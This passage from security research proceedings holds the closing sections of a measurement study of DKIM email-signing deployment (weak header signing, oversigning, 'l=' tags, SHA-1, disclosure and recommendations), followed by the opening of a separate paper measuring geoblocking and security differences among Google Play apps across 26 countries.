spoofing email has passed DKIM verification. The technical
details of these attacks are discussed in Chen’s paper [11].
Besides, as aforementioned, the Reply-To field should also
be signed to avoid replying to an attacker’s address. Thus,
we regard the signatures that do not sign these seven fields
as weak DKIM signatures. On this point, we also had a dis-
cussion with Coremail’s engineers and they agreed with our
classification. Due to the complexity of email headers, a sys-
tematic security analysis of all email headers is necessary. The
classification results should also be dynamically maintained.

Table 11: Headers Recommended to be Signed in RFC 6376.

Class Field Name

1 From, Reply-To, Subject, Date, To, Cc, Content-Type

2 Resent-Date, Resent-From, Resent-To, Resent-Cc,
In-Reply-To, References, List-Id, List-Help, List-
Unsubscribe, List-Subscribe, List-Post, List-Owner,
List-Archive

In addition, we also parse the email headers from “h=” tags
in DKIM signatures from Coremail. We calculate the per-
centage of each header and show the results in Table 12. We

find that 2,074,178 (94.1%) domains use weak DKIM signa-
tures. Almost all the domains have signed From and Subject
fields, while only 29 domains (e.g., mikegmarketing.com and
nimbios.org) have not. However, there are still domains that
have not signed Cc fields (91.5%), Reply-To fields (88.6%),
Content-Type fields (32.5%), Date fields (24.2%), and To
fields (13.3%).

Table 12: Top 10 Email Headers in DKIM Signatures.
Rank Field Name %

1 From 100.0%
2 Subject 99.7%
3 To 86.7%
4 Date 75.8%
5 Mime-Version 73.6%
6 Message-Id 73.3%
7 Content-Type 67.5%
8 Content-Transfer-Encoding 19.5%
9 X-Ms-Exchange-Senderadcheck 12.5%
10 Reply-To 11.4%

Oversigning. RFC 5322 explicitly specifies that there
should be only one From header in an email [29]. How-
ever, email services are liberal in what they receive. Pre-
vious work shows that emails with multiple From headers
can still be accepted by most popular email services [31],
so attackers can exploit this feature to conduct email spoof-
ing attacks [1, 11, 31]. To prevent adding duplicate header
fields, DKIM designers proposed a method of oversigning
[13], which means a header name should appear in “h=” tags
once more than the actual number of that header in an email.
For example, suppose that an email contains From, To and
Subject headers, and each header appears only once. If email
services use the oversigning mechanism to protect From and
To fields, these two headers should be listed twice in the “h=”
tag, such as “h=from:from:to:to:subject:...”. When
the oversigning mechanism is supported, the signer will cal-
culate DKIM signatures regarding the extra headers as empty
fields. In this way, attackers can not add extra headers to
conduct email spoofing attacks.

We analyze how many domains use oversigning to pro-
tect themselves against multiple headers attacks. RFC 5322
(section 3.6) specifies there are 11 headers should occur at
most one time in email headers. Therefore, we regard these
headers as being oversigned if these headers appear more
than once in “h=” tags of DKIM signatures. We found only
47549 (2.2%) domains are found to be protected, as shown
in Table 13. For the seven essential headers we suggest to be
signed, we find 47,334 domains use oversigning to protect
the From field, while only 603 domains protect the Reply-To
field. Fortunately, some well-known service providers have
started to use this mechanism to protect their outgoing emails,
such as yahoo.com and mail.ru. The emails sent by these
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providers account for 12.8% in our DKIM signature datasets.

Table 13: Top 10 Headers Protected by Oversigning Mecha-
nism.

Rank Field Name # Domain %

1 From 47,334 99.5%
2 Subject 16,597 34.9%
3 Date 11,144 23.4%
4 To 5,913 12.4%
5 Message-Id 5,068 10.7%
6 In-Reply-To 2,611 5.5%
7 References 2,487 5.2%
8 Cc 2,004 4.2%
9 Reply-To 603 1.3%
10 Sender 165 0.3%

7.2 Insecure “l=” Tags

In DKIM records, “l=” tags are used to limit the length of
email bodies that should be calculated for DKIM signatures
explicitly. If the body length is not specified, the entire mes-
sage body will be signed. This tag is designed for increasing
DKIM signature robustness since the unsubscribe informa-
tion can be added to the end of email messages, and some
antivirus products may also add the notification like “the
email was scanned by product ABC”. However, using “l=”
tags are proved to be insecure, since the misuse of the “l=” tag
can allow displaying fraudulent content to end-users without
breaking the DKIM signature, as discussed in Section 8.2 in
RFC 6376 [13]. Besides, attackers can craft a spoofing email
exploiting the insecure “l=” tag and multiple Content-Type
headers [11], without breaking the original DKIM signature.
Our results show that 6,860 (0.3%) domains still use “l=”
tags in DKIM signatures, of which 1,273 domains are within
Alexa top 1 million domains.

7.3 Outdated Hash Algorithms

Hash algorithms are essential to creating digital signatures,
the collision resistance of which can directly affect the protec-
tive effect of digital signature algorithms. SHA-1 and SHA-
256 are commonly used in DKIM, however, SHA-1 is not as
collision-resistant as expected, on which theoretical attacks
have been known since 2005 [33]. In recent years, a series
of works [22, 23, 32] have shown that attacking on SHA-1 is
becoming practical. Besides, SHA-1 was officially deprecated
by NIST in 2011 [6]. RFC 8301 [20] has also recommended
that rsa-sha1 must not be used for signing or verifying DKIM
signatures in 2018. However, the rsa-sha1 algorithm is still
widely used. We find 1,451,956 (65.9%) domains still use rsa-
sha1 to generate DKIM signatures, of which 3,292 domains
are within Alexa top 1M domains.

Theoretically, adopting a weak hash algorithm for DKIM
signatures may lead to attacks enabled by hash collisions [22,
23, 32]. If an adversary can find a meaningful hash collision
of the given email’s body, he/she can replace email bodies
and craft spoofing emails without breaking DKIM signatures,
which will seriously break the protection of DKIM. Though
it is challenging for practical attacks, we suggest updating the
relevant algorithms in practices before any actual attack is
found.

8 Discussion

8.1 Limitations

Data Collection. We have to admit our DKIM records
and signatures can be biased due to the geo-location of the af-
filiated DNS resolvers and email servers. However, our dataset
still shows representative results from three aspects: (1) Be-
cause this study needs DKIM data from diverse domains,
the large scale and the long period for passive DNS data col-
lection can meet the requirement. (2) Coremail occupies a
considerable share of the Chinese email market, its clients
can receive emails from all over the world. Thus, the Core-
mail DKIM signature dataset is an effective supplement to
the passive DNS data. For example, the passive DNS data
can only cover the 8.7% of Alexa top 1M domains, while the
number is up to 10.2% when adding the Coremail data. (3)
We also conduct an active scanning on Alexa top domains to
eliminate the dataset limitation with the best effort.

Above all, we have tried our best to measure the DKIM
deployment among Alexa top 1 million domains. We admit
that our measurement result is only the lower bound of the
real-world DKIM adoption, while it is enough for further
analysis.

Canonicalization. Canonicalization algorithm is an impor-
tant component of the DKIM protocol, which makes it pos-
sible to verify DKIM signatures, even if the SMTP gateway
has slightly changed the source code of the email. Due to
the consideration of privacy issues, we only get and use the
DKIM-Signature headers provided by Coremail and cannot
access other email headers and email bodies. As a result, our
study may not evaluate the influence of various canonicaliza-
tion algorithms, which is another limitation of our study. We
conducted a preliminary evaluation of the usage of different
canonicalization algorithms. The results are described in the
Appendix A.

8.2 Mitigation

Disclosure. We have tried to responsibly report all vul-
nerabilities we found to the relevant email administrators.
It is non-trivial since the total number of involved domain
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names is extremely large, and we lack some contact infor-
mation of these email administrators. Thus, we first report
the vulnerabilities of DKIM deployment to some reputable
email service vendors, such as Gmail and Sendgrid. Second,
for other involved domains, we collect email addresses via
the Whois API and contact them with detailed vulnerabil-
ity reports. So far, we have received responses from Gmail,
Mailchimp, Sendgrid and Salesforce. They acknowledged our
report and actively discussed the potential impact of these
problems with us. Besides, we also received feedbacks from
24 relevant email administrators, including beyovantage.com,
secureworks.com, pax.com, hbtc.com. They acknowledged
our report and particularly thank us for reporting these vul-
nerabilities to them.

Online Detection Tool. Reasons for the unsatisfactory
deployment of DKIM include (1) the differences in adminis-
trators’ understanding of DKIM deployment, (2) the lack of
unified deployment recommendations, and (3) no easy-to-use
detection tool for administrators to validate DKIM deploy-
ment. As such, we develop an online tool for DKIM deploy-
ment based on our measurement and analysis scripts, which
can be accessed at https://nospoofing.cn. This tool can help
email administrators check and deploy their DKIM records
and further improve the status quo of DKIM deployment.

Our online detection tool provides two query methods.
Users can provide the tool with a domain name and its cor-
responding selector or send an email to our designated email
address to query the current DKIM deployment situation of
this domain. Our tool can do the grammar check and analyze
the key strength and judge whether the DKIM signatures have
the security issues mentioned in this paper. Compared with
some existing tools, 3 our tool can not only test whether a do-
main has deployed DKIM, but also conduct a comprehensive
security analysis of DKIM records and DKIM signatures, and
give corresponding deployment recommendations.

8.3 Recommendations
We find that some implementation-level problems can be
avoided by modifying the protocol, so we propose two im-
provements: (1) adding an expired date for DKIM keys and
(2) setting “oversigning” as the default mechanism. These
suggestions only need incremental changes, which can be
compatible with old versions of the protocol. This iterative
process can be achieved smoothly by updating the relevant
verification library.

DKIM Key Expiration Date. It is because RFC 6376
has not specified a clear transition period for old keys that
long lifetime DKIM keys are common in practice. Besides,
in the DKIM ecosystem, a considerable number of domains
will not remove their DKIM keys from DNS servers in time,
even though the keys are revoked. For example, in Figure 7,

3https://poste.io/dkim, https://www.mail-tester.com, and https://internet.nl

though Google has started to use a new key, the historical
one has still been kept for one and a half years after being
abandoned. Thus, a feasible solution is to add a field of DKIM
key expiration date to DKIM records, which can help alleviate
the problem of the unclear transition period and promote
regular key replacement. The sending services can decide
whether to use this field. If this field is used, email services
should sign the Date field.

Email senders should stop using a public key to generate
DKIM signatures two months before the expiration time to en-
sure that the historical DKIM signature can be verified. In the
PKI ecosystem, the famous certificate authority Let’s Encrypt
suggests its users update their certifications one month before
they expire. Moreover, our industrial partner, Coremail, has
confirmed that it is relatively reasonable to set the transition
period to two months based on their deployment practices.
Email recipients should first determine whether the DKIM
signatures of currently received emails have expired based on
this field when verifying DKIM signatures.

We tested 11 well-known mail services (e.g., Gmail, Yahoo,
and Yandex) and open-source DKIM libraries (OpenDKIM,
DKIMproxy) for backward compatibility. We found that all
of them are compatible with this solution. In detail, we set up
an email service, added an expired-date field to our DKIM
record, and sent emails signed with our DKIM key to famous
email services. The email transfer and the DKIM verification
worked well together with this solution.

Default Oversigning Mechanism. The oversigning
mechanism is helpful to protect users from the email spoofing
attacks that use multiple email headers [11, 31]. However,
our measurement results show that few email administrators
are aware of this kind of email spoofing attack.Thus, it is
better to change the implementation of popular DKIM li-
braries. The DKIM libraries can set the oversigning mech-
anism as default when signing DKIM signatures. That is to
say, signers should use the default oversigning mechanism
to protect essential headers, including From, To, Subject,
Content-Type, Reply-To, Date, and Cc. The only modifica-
tion signers need to do is list the headers once more in the h
field than it should be.

RFC 5322 [29] specifies that From, To, Subject, Cc, and
Reply-To should occur once at most. Thus, for general cases,
it is enough for signers to list these headers twice in the h
field. Email service administrators can decide whether to use
the default oversigning mechanism to protect other headers,
and they should not use it to protect the header they want to
add or change. It is only a small change for signers and will
not affect the DKIM verification process, so we consider it
backward compatible. Besides, this change will significantly
improve the protective effect of DKIM signatures and prevent
DKIM signatures from being used for replay attacks.

USENIX Association 31st USENIX Security Symposium    1197



9 Related Work

DKIM Deployment To the best of our knowledge, this
paper is the first large-scale, longitudinal analysis of DKIM
deployment and related misconfiguration issues. SMTP ex-
tensions such as DKIM, SPF and DMARC are used to pro-
vide security properties for email transport. There are a few
measurement studies on the deployment of SPF, DKIM, and
DMARC [14, 15, 18]. Their results indicate that the adop-
tion and enforcement of these extensions need improvement.
However, they pay more attention to the deployment rate of
the email security protocol, rather than the misconfiguration
issues. In addition, the previous work has less analysis of
DKIM deployment, due to the difficulty to obtain DKIM data
through active scanning.

Among them, the most similar work is that Durumeric
et al. [14] published studies on the measurement of email
security protocols (SPF, DKIM and DMARC) in 2015. They
analyzed the security configurations of top email providers
based on SMTP connections from and to the Google email
server between January 2014 to April 2015. After 5 years, a
new measurement is needed at this time to analyze the current
deployment of DKIM. Compared with their work, our dataset
has a larger amount data and a long time span. Our dataset
contains PassiveDNS data over 5 years and 460 million DKIM
signatures derived from email system in practice.

Email Security Email has long been fraught with security
issues such as email spoofing attacks [11, 18, 31]. To address
these problems, various security extensions have been pro-
posed and standardized. At present, SPF, DKIM and DMARC
protocols are the most widely used ones. Among them, DKIM
is an effective way to authenticate a sender and verify the in-
tegrity of received emails.

Recently, some studies focus on the email spoofing attacks
in practice. Hu et al. [18] analyzed how email vendors de-
tect and handle spoofing emails through an end-to-end email
spoofing experiment. Shen et al. [31] presented a series of
new attacks that can bypass SPF, DKIM, DMARC and user-
interface protections through a systematic analysis of the
email delivery process. They conducted a large-scale analysis
of 30 popular email services and 23 email clients, and found
that all of them are vulnerable to certain types of attacks.
Chen et al. [11] introduced the ambiguous-replay attacks with
seemingly valid DKIM signatures from legitimate domains.
Jens et al. analyzed the security issues in the OpenPGP and
S/MIME protocols. They devised a series of practical forgery
attacks against various implementations of OpenPGP and
S/MIME and proposed countermeasures [25, 26, 30]. Unlike
prior works, our work shows the current deployment status of
DKIM in practice. We reveal many DKIM misconfiguration
issues in the real email ecosystem. These results highlight
systemic problems, which motivate improved automation and
auditing of DKIM management.

10 Conclusion

In this paper, we illustrate the DKIM deployment and its po-
tential security issues. We perform a large-scale measurement
study on DKIM and show that 28.1% of Alexa Top 1 million
domains have enabled DKIM. However, the mismanagement
of DKIM is still prevalent in the email ecosystem, including
grammar errors, DKIM key management issues, and DKIM
signatures issues. The mismanagement weakens the protec-
tion of DKIM and poses security risks to email users. We
report the vulnerabilities to the email administrators and pro-
vide an online tool to ananlyze the deployment of DKIM.
We believe this work will improve the deployment of DKIM
and inspire the community to work towards securing DKIM
deployment.
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A Canonicalization Algorithms

We analyzed the usage of different canonicalization algo-
rithms in real-world email communication, based on our
DKIM signatures datasets. The result is shown in Table 14.
We found that most domains apply a “relaxed” canonicaliza-
tion algorithm for both email bodies and headers.

Table 14: The Usage of Different Canonicalization Algo-
rithms.

Canonicalization Algorithms # Domain

relaxed / relaxed 1,620,536
simple / simple 527,429
relaxed / simple 61,471
simple / relaxed 1,110

B Email Headers

We summarize the meaning of each field in Table 15.
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Table 15: The meaning of each field in Table 11.
Field Name Meaning

From Specifies the author(s) of the message, that is,
the mailbox(es) of the person(s) or system(s)
responsible for the writing of the message.

Reply-To Indicates the address(es) to which the author of
the message suggests that replies be sent.

Subject Contains a short string identifying the topic of
the message.

Date Specifies the date and time at which the creator
of the message indicated that the message was
complete and ready to enter the mail delivery
system.

To Contains the address(es) of the primary recipi-
ent(s) of the message.

Cc Contains the addresses of others who are to re-
ceive the message, though the content of the
message may not be directed at them.

Content-Type Specifies the nature of the data in the body of an
entity by giving media type and subtype iden-
tifiers, and by providing auxiliary information
that may be required for certain media types.

Resent-Date Indicates the date and time at which the resent
message is dispatched by the resender of the
message.

Resent-From Contains the mailbox of the individual doing the
resending.

Resent-To Function identically to the “To”, except that it
indicates the recipients of the resent message.

Resent-Cc Function identically to the “Cc”, except that it
indicates the recipients of the resent message.

In-Reply-To Identifies the message (or messages) to which
the new message is a reply.

References Identifies a thread of conversation.
List-Id Provides an identifier for an e-mail distribution

list.
List-Help Provides an access point to detailed user sup-

port information, and accommodate almost all
existing list managers command sets.

List-unsubscribe Describes the command (preferably using mail)
to directly unsubscribe the user (removing them
from the list).

List-Subscribe Describes the command (preferably using mail)
to directly subscribe the user (request addition
to the list).

List-Post Describes the method for posting to the list.
List-Owner Identifies the path to contact a human adminis-

trator for the list.
List-Archive Describes how to access archives for the list.
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Abstract

Recent studies on the web ecosystem have been raising alarms
on the increasing geodifferences in access to Internet con-
tent and services due to Internet censorship and geoblocking.
However, geodifferences in the mobile app ecosystem have
received limited attention, even though apps are central to
how mobile users communicate and consume Internet con-
tent. We present the first large-scale measurement study of
geodifferences in the mobile app ecosystem. We design a
semi-automatic, parallel measurement testbed that we use to
collect 5,684 popular apps from Google Play in 26 countries.
In all, we collected 117,233 apk files and 112,607 privacy
policies for those apps. Our results show high amounts of
geoblocking with 3,672 apps geoblocked in at least one of our
countries. While our data corroborates anecdotal evidence
of takedowns due to government requests, unlike common
perception, we find that blocking by developers is signifi-
cantly higher than takedowns in all our countries, and has the
most influence on geoblocking in the mobile app ecosystem.
We also find instances of developers releasing different app
versions to different countries, some with weaker security
settings or privacy disclosures that expose users to higher
security and privacy risks. We provide recommendations for
app market proprietors to address the issues discovered.

1 Introduction

We often view the Internet as a worldwide medium for com-
munication without regard for geographic location [64]. How-
ever, studies have shown differences in Internet equity, for
instance, in access to Internet content based on a user’s ge-
olocation [60, 72, 98, 124]. While censorship is a well-known
enabler for such regional differences [2,24,90,111,128], there
are emerging trends of geoblocking, a phenomenon where
service providers or developers deny access to users in certain
countries or regions. Recent studies on the web ecosystem
show how service providers, given an option, lean towards
indiscriminate blocking, effectively isolating certain countries
(e.g., Cuba) and essential services (e.g., banking) [1, 80, 118].
Recognizing the gravity of this problem, in 2018, the EU
passed regulations that ban unjustified geoblocking [34].

Mobile users worldwide access the Internet through apps
downloaded from app markets like Google Play. Thus, any
interference in app markets can result in different app equity,

i.e., different access to apps or security and privacy offerings
based on a user’s geolocation. For example, Figure 1 shows
different views of the LinkedIn app’s homepage on Google
Play for users in three countries. The app is available for
install in the US and unavailable in Iran and Russia, though
users perceive unavailability differently in the latter two coun-
tries. Although there are over 8.9 million apps and 3.5 billion
smartphone users worldwide [89, 103], geodifferences in the
mobile app ecosystem have received only limited attention.

In this paper, we present the first large-scale investigation
into geodifferences in the mobile app ecosystem. Broadly, we
are curious to know: (i) if we can download an app from, say,
the US, Iran, and Russia at the same time; and (ii) whether
the app, if available, has geodifferences. Given our goals for a
wide geographic study, we select 5,684 globally popular apps
from Google Play. Google Play is the largest and the most
accessible app market, with over 2 billion active devices and
2 million apps that reach over 190 countries [14, 29], making
it an obvious choice for our geographic study. We collect
our measurements from 26 countries carefully chosen to have
reliable direct vantage points while ensuring ample diversity
in terms of geography, gross domestic product, and Internet
freedom scores by Freedom House [39].

There are significant challenges in conducting large-scale
measurements for thousands of apps from different loca-
tions. For instance, Google Play is a volatile app mar-
ket with millions of apps, governed by opaque regula-
tions [76, 95, 113]. Unlike web measurements, there are no
known fully automated tools for collecting mobile measure-
ment data. While web geoblocking has some clear signals
(e.g., 403 Forbidden HTTP response), the indicators for
blocking in the mobile app ecosystem are unknown. Ad-
ditionally, to measure geodifferences in apps, we need to
download app binaries from many countries.

This paper makes several contributions that enable large-
scale measurement studies of complex mobile app ecosystems.
First, we identify the variables that impact measurements
from Google Play through a set of preliminary experiments.
Second, we design a semi-automated measurement technique
that captures a reasonable snapshot of Google Play as seen
by users in 26 countries. Using a parallel test-bed, we collect
117,233 app binaries and 112,607 privacy policies, which to
the best of our knowledge, is the largest multi-country app
dataset in the research community. Third, using control exper-
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iments, we extract the signals for geoblocking from Google’s
opaque server-side responses and deduce who is responsible
for the blocking. Fourth, for apps that are not geoblocked, we
investigate if users in certain regions are exposed to higher
security and privacy risks from geodifferences in app fea-
tures. Finally, we provide recommendations for app market
proprietors like Google Play to address the issues we find.

Our results show high amounts of geoblocking with 3,672
globally popular apps geoblocked in at least one of 26 coun-
tries. We find that Iran and Tunisia have the highest geoblock-
ing rates of 2,256 and 2,681 apps, respectively. In contrast,
previous work on the web found up to 71 geoblocked domains
from the Alexa top 10K list in the most affected countries [80].
While our data corroborates anecdotal evidence of takedowns
due to government requests (e.g., recent ban of Chinese apps
in India) [114], unlike common perception, we find that block-
ing by developers is significantly higher than takedowns in all
our countries and app categories, and has the most influence
on geoblocking in the mobile app ecosystem. Amongst the
countries, Iran is the most blocked by developers and is the
top outlier country in every app category. We believe this
is because developers have unmoderated access to country
targeting features on Google Play, which, as research has
shown [80], could disproportionately isolate some regions.

While most developers release the same apps geographi-
cally, we find 596 apps with geodifferences, with confirmed
instances of developers targeting different app versions to
different countries, thus exposing users in certain countries
to higher security and privacy risks. For instance, we find
instances of the same apps requesting different permissions,
using additional ad trackers, or selectively using unencrypted
communication in different regions. While our data shows
the positive influence of data protection laws (e.g., GDPR) in
privacy policies in regions where such laws are enforced, we
also find the same apps using outdated policies in countries
with older legislation. Privacy policies of some apps in certain
countries like Iran and Turkey could not be downloaded due
to geoblocking of the websites hosting them.

We suggest several steps that Google and other app mar-
ket proprietors could take to address some of the issues we
find. For instance, app market proprietors could moderate
their country targeting features, push for transparency from
developers on their need for geodifferences in apps, and re-
dress the blocking of privacy policies in certain countries
by hosting the app’s policy themselves to ensure its avail-
ability. We shared our work with Google and submitted a
full disclosure on all the apps for which we observed geod-
ifferences in security and privacy features. Google’s privacy
team has acknowledged our disclosures, and they are aware
of the concerns raised through our research. To encourage
further studies on the various aspects brought out by this
work, we make our measurement data and code available at
https://github.com/censoredplanet/geodiff-app.

Figure 1: User’s View of Geoblocking: LinkedIn’s homepage on
Google Play from the US, Iran, and Russia from top to bottom.
Users in the US can download the app via the Install button, users in
Iran see the homepage without the Install button, and users in Russia
see a URL not found error on accessing the same page.

2 Background

Internet fragmentation (or “balkanization”) is emerging as
a growing concern given the wide disparity in business and
government practices worldwide [62]. Web geoblocking stud-
ies have shown that developers on a content delivery network
(CDN, e.g., Cloudflare), given an option, indiscriminately
geoblock their content, furthering the fragmentation. How-
ever, not much is known about geoblocking in the mobile app
ecosystem, where app market proprietors or developers may
block access to mobile apps that users use to access content
from their mobile devices. Furthermore, it is poorly under-
stood to what extent developers distribute different versions of
apps in different countries and whether those versions differ
on security and privacy protections. This study focuses on
geographical differences (geodifferences) from geoblocking
or differences in app releases.

2.1 Google Play

Google Play is the largest and the most accessible app market,
with 2 billion active devices and over 2 million apps reaching
over 190 countries [14]. Global app markets like Google Play
are not the only means for developers to distribute apps. There
are also local app markets, for instance, such as those hosted
by cellular network providers (e.g., Docomo in Japan [32])
or independent publishers (e.g., CafeBazaar in Iran [36]).
However, given Google Play’s reach, any geodifferences here
will have the most impact on users and makes it an obvious
choice for our geographic study.

Google Play allows developers to restrict app availability
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to users, for instance, based on their country (country target-
ing) [43]. We call such geoblocking due to developers country
targeting their apps as developer-blocking. Microsoft’s Skype
Lite, which is available only in India [82], and Hulu, which
is available only in the US [61], are examples of developer-
blocked apps. In a special case of country targeting, restric-
tions are imposed on access to paid apps or in-app purchases,
for instance, due to embargo rules or Google’s policy in a
country (e.g., Iran) [16, 48]. Other forms of targeting are de-
vice targeting, where apps are released for specific devices, or
carrier targeting, where apps are released for specific cellular
service providers [10, 51].

At a high level, Google’s transparency report shows con-
tent removal because of government requests and violations
of Google’s policies [53]. Real-world reports corroborate
app removal requests (takedowns) specifically from Google
Play for the same reasons. For instance, Google taking down
LinkedIn in Russia [37] and the Indian government’s ban of
several Chinese apps [114] are examples of takedowns from
government requests. On the other hand, Google’s removal of
Fortnite [19] is an example of a takedown due to a violation
of Google policy. Broadly, we call the former government-
requested takedown and the latter a non-compliance take-
down and aim to distinguish the two in our work. While
Google’s non-compliance takedowns tend to be global, take-
downs from government requests are regional.

Given how apps on Google Play are subject to developer-
blocking and takedowns, a user’s view of an app may vary
across regions. Figure 1 shows an example of how users in
the US, Iran, and Russia see the homepage of the LinkedIn
app (as of June 2020). A user can download the app using the
"Install" button on its homepage in the US. A user in Iran, in
contrast, sees the same homepage without the Install button,
indicating that they cannot download the app. Finally, in
Russia, accessing the app’s URL returns an error. Given how
a user’s snapshot of Google Play may vary geographically, our
goal is to characterize who is responsible for the differences
we observe.

A user can access an app on Google Play directly via
a URL with a fixed structure that points to its home-
page. For the LinkedIn app, the URL to its homepage is
https://play.google.com/store/apps/details?id=
com.linkedin.android, where com.linkedin.android
is the app’s unique ID. The app’s homepage contains its
metadata such as the app’s category, the number of installs,
the app version, and the URL to download the apk upon
clicking the Install button.

2.2 Android Security and Privacy

Android apps are programs written to operate on Android de-
vices. An Android app is packaged into an installable archive
called the Android Package (apk). An apk contains compiled
classes, resources (e.g., images), assets (e.g., media files), con-

figuration files, and a manifest file (AndroidManifest.xml).
The Android manifest contains app settings used by both
Google Play and the Android device, such as an app’s unique
app ID, its user-facing version name, internal version code
for developers, permissions, and third-party libraries [11, 17].
This work studies app features that may have security and
privacy risks to users.

Android has three notable security features that protect
users—app permissions, signatures, and settings for encrypted
communication. App permissions control access to system
features (e.g., GPS) and is classified into one of four pro-
tection levels [8]: (i) Normal, which carries the least risk;
(ii) Dangerous, which is high-risk and requires explicit user
consent; (iii) SignatureOrSystem, which is privileged and
used by system apps (e.g., apps by device vendors); and (iii)
Signature, which is used to share data between apps.

Android apps are signed using a digital signature that serves
as a bridge of trust between a user, developer, and Google
Play. Android provides three signing algorithms: versions
V1 (for Android versions < 7.0), V2 (for Android 7.0+), and
V3 (for Android 9+). Ideally, a developer has to sign with all
three schemes for maximum security [12]. Note that there is
also a V4 signing algorithm that was released September 2020
for Android 11 [28]. However, we exclude the V4 signature
algorithm from this work since our apks predate Android 11.

Android allows developers to set their communication
preferences via a Network Security Policy file (network_-
security_config.xml) [15] or an app’s manifest file [18].
In the absence of this config file, prior to Android 9, an app’s
communications with servers by default use the unencrypted
HTTP protocol unless disabled in the app’s manifest file.
However, with Android 9, the default is encrypted (HTTPS)
communication. Given this nuance, not setting communi-
cation preferences is potentially dangerous since the system
may default to unencrypted communication based on Android
version.

Android developers may use third-party libraries for con-
venience or to provide services such as in-app advertisements
or billing [27]. However, prior research has shown that third-
party libraries may compromise a user’s privacy by leaking
their sensitive data [27, 57, 73]. To protect a user’s privacy,
Google requires developers to disclose collection of, access to,
or use of sensitive data (e.g., personally identifiable informa-
tion) [50], via a privacy policy that developers must host on an
active URL. The policy must be listed on the app’s homepage
on Google Play [45] and must follow data protection laws
when appropriate, including the US-based California Con-
sumer Privacy Act (CCPA) [108] and the European Union’s
General Data Protection Regulation (GDPR) [63].

3 Measurement Design & Data Collection

Given that our goal is to study geodifferences, we want to
capture a snapshot of apps from Google Play as seen by users
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Country Code Region FHIF Country Code Region FHIF

Canada CA NA F(87) Ukraine UA Europe PF(56)
Germany DE Europe F(80) India IN Asia PF(55)
USA US NA F(77) Zimbabwe ZW Africa PF(42)
UK UK Europe F(77) Turkey TR Europe NF(37)
Australia AU Oceania F(77) Russia RU Europe NF(31)
Japan JP Asia F(73) Venezuela VE SA NF(30)
Hungary HU Europe F(72) Bahrain BH Asia NF(29)
Kenya KE Africa PF(68) UAE AE Asia NF(28)
Colombia CO SA PF(67) Egypt EG Africa NF(26)
South Korea KR Asia PF(64) Iran IR Asia NF(15)
Tunisia TN Africa PF(64) Hong Kong HK Asia -
Mexico MX NA PF(60) Ireland IE Europe -
Singapore SG Asia PF(56) Israel IL Asia -

Table 1: Country List. 26 countries with their ISO Code, region,
and Freedom House Internet Freedom score, sorted by the freedom
score (unavailable for three countries). Abbrv: NA= North America,
SA = South America, F= Free, PF= Partly Free, NF= Not Free.

in many countries. Measurements of such kind pose several
challenges as noted in prior research on the web ecosystem [2,
80, 111], such as finding a vantage point closest to a user.
However, in the mobile app ecosystem, we have the additional
burden of downloading thousands of apps and their metadata
from Google Play in different countries. These downloads
may take weeks to complete, with app updates in between
that complicate comparative analysis. We thus have to find
vantage points suitable for long-running downloads, account
for app updates, and factor in network errors and latency.

Country Selection. For this study, we carefully choose
an initial list of 30 countries with ample diversity in geog-
raphy, gross domestic product (GDP), and Internet freedom
scores as measured by Freedom House [39]. We first consid-
ered choosing countries based on their GDP alone as in prior
work on Internet geoblocking [80]; however, countries like
India that are recently seeing a crisis in expression [23] have
higher GDP than countries like Canada that are relatively free.
Hence, we rely on Freedom House’s Internet Freedom (FHIF)
score, which numerous studies have used for country selec-
tion and analysis [2, 25, 92, 99], as an approximate indicator
of Internet freedom. Since the study could potentially span
several months, acquiring cost-effective and reliable vantage
points was a significant challenge; we thus limit ourselves to
30 countries initially.

Testing Vantage Points. Prior research on Internet mea-
surements has shown that data collected from different van-
tage points may have different properties [100]. Hence, we
first conduct a preliminary study to confirm that a user’s view
of the app market from a non-residential vantage point is the
same as a residential vantage point. To confirm this, we col-
lect app metadata by proxying HTTPS requests to Google
Play’s home pages for a manually curated set of low-risk
apps (e.g., Google Chrome, Netflix) from different vantage
points and compare the data collected. We use Luminati, a
commercial platform that sells access to residential proxy
servers [74] and purchased numerous VPS/VPN servers for
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Figure 2: Category Breakdown. We compute the category break-
down of top charts of Google Play in 5 free countries. We study
the top 20 categories and two additional categories MED and DATE
(colored blue, full name on the left and abbreviation on the right
with the numbers of apps per category).

non-residential vantage points. We manually verified that
app metadata collected using these vantage points was the
same. We further confirmed this by collecting metadata from
Google Play in select countries via a test Android app we
developed. Given that these vantage points provided the same
view of app metadata, we chose reliable non-residential van-
tage points whose advertised geolocation matched Google’s
detected location.

Final Country List. Table 1 shows our final list of 26
countries, their geographic region, and FHIF scores. We
dropped four of our initial 30 countries (Brazil, Ethiopia,
Cuba, and Saudi Arabia) because of unreliable vantage points.
We exclude China because Google Play is unavailable there.

Choosing App Categories. Prior research has shown that
Google is a “superstar” market dominated by a few most
downloaded apps [127]. Given this and the wide scale of our
comparative study, we select only the top apps in the most
popular categories. Google Play has 32 top-level categories,
and for Games, 17 sub-categories [47]. We first compute a
category-wise breakdown of the top charts (i.e., top 200 apps)
on Google Play in the top five FHIF Free countries in our list
(Australia, Canada, Germany, UK, and USA). Then, we pick
the top 20 categories and two others—MED, DATE—which
contain apps we expect to collect sensitive information. In all,
we study 22 categories as shown in Figure 2.

App Selection. To curate our app list, we collect the meta-
data of the top 200 apps in each of our 22 categories. Com-
bining the apps thus collected for the same five FHIF Free
countries, we get 17,351 unique apps. From this, we choose
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Figure 3: Measurement Design and Setup. Steps: (1) Set up ten Linux hosts and ten Google Pixel 2 phones, with one Google account for
each country. (2) Set up VPN/Ses and SSH tunnels for downloads via VPSes. (3) Send crawl requests to Google Play to download in batches
of 100–500 apps from all 26 countries, with each batch downloaded on the same day. (4) Save data to centralized repository for analysis.

popular apps based on their number of installs, and use 1
million installs as the popularity bar for all categories except
Games. For Games, we use 50 million installs as the popu-
larity bar, as 47% of the apps with at least 1 million installs
are Games. This trimmed our app list down to 4,465 apps. Fi-
nally, based on researcher interest in security and privacy, we
add 1,219 apps from a keyword search for security, privacy,
vpn, ad blocker, and crypto wallet that belong to our selected
22 categories. Our final app list has 5,684 apps.

Measurement Design. Given the scale of our study, we
want our measurement design to enable parallel downloads
of apps from multiple countries. To eliminate inconsistencies
from app updates during downloads, we conduct a prelimi-
nary longitudinal daily crawl of app metadata in 20 randomly
chosen countries over 31 days and compute daily app updates.
We find that only 1.1% of the apps have either a major or
minor update per day on average and approximate the distri-
bution of the percentage of apps updated on a given day to
be N(1.1, 0.5) by the central limit theorem [85]. The median
number of apps that have an update per day is 0. Based on this
observation, we divide the 5,684 apps into batches of 100-500
apps and download each batch from every country within a
24-hour window. Doing so gets us a reasonable snapshot of
